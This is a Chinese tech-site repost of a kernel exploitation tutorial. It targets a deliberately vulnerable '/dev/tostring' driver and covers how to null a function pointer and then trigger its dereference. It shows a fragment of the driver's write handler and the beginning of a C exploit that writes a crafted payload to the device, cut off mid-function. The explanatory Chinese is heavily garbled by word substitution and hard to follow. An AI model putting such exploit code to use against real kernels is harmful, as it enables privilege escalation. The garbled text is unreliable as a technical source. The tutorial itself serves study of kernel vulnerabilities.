作家
登录

内核exploit——如何应对空指针异常现象

作者: 来源: 2017-10-26 09:24:54 阅读 我要评论

  •       if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10)); 
  •       if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n"); 
  •       break; 
  •     } 
  •     i=j+1; 
  •   } 
  •   else { 
  •     printk("tostring: insertion %lld\n",*((long long int *) (bufk+i))); 
  •     if (tostring->pointer >= tostring->pointer_max) 
  •       printk(KERN_INFO "Tostring: Stack full\n"); 
  •     else 
  •       tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i)); 
  •     ii = i+sizeof(long long int); 
  •   } 
  • kfree(bufk); 
  • return len; 
  • 正如我们所见,在“ten '*'”后会出现一个“S”。这就会使函数指针tostring_read无效,而这一点对我们有力。

    然则,在将其设置为null之后,我们须要攫取它,以使其被撤消引用。是以,我们须要攫取该文件,以触发启用“tostring_read()!”敕令。

    http://p8.qhimg.com/t013e67bd64133d02e9.png

    今朝一切都比较顺利,但我们仍需经由过程攫取文件使其撤消引用。

    我们开端编写开辟法度榜样。我们之前应用Python说话进行编写,如今我们换成C说话。

    我们先写一个较为简单的以触发敕令和清除函数指针。

    1. #include <stdio.h> 
    2. #include <string.h> 
    3. #include <stdlib.h> 
    4. #include <sys/mman.h> 
    5. #include <fcntl.h> 
    6. /**/ 
    7. #define vulnerable_device "/dev/tostring" 
    8. /**/ 
    9. void main(void){ 
    10. int fd; 
    11. char payload[15]; 
    12. /**/ 
    13. memset(payload, '*', 10); 
    14. /**/ 
    15. payload[10] = 'S'; 
    16. payload[11] = 0; 
    17. /**/ 
    18. fd = open(vulnerable_device, O_RDWR); 
    19. if(fd < 0){ 
    20. printf("Couldn't open device!"); 
    21. /**/ 
    22. write(fd, payload, 12); 

        推荐阅读

        别不相信 大数据已经侵入到你生活的方方面面

      沙龙晃荡 | 去哪儿、陌陌、ThoughtWorks在主动化运维中的实践!10.28不见不散! 大年夜数据这个词,几乎天天都邑听到。不过谈到这个词典,要么是科技公司介绍新技巧、要么是专家学者介绍将>>>详细阅读


      本文标题:内核exploit——如何应对空指针异常现象

      地址:http://www.17bianji.com/lsqh/38226.html

    关键词: 探索发现

    乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

    网友点评
    自媒体专栏

    评论

    热度

    精彩导读
    栏目ID=71的表不存在(操作类型=0)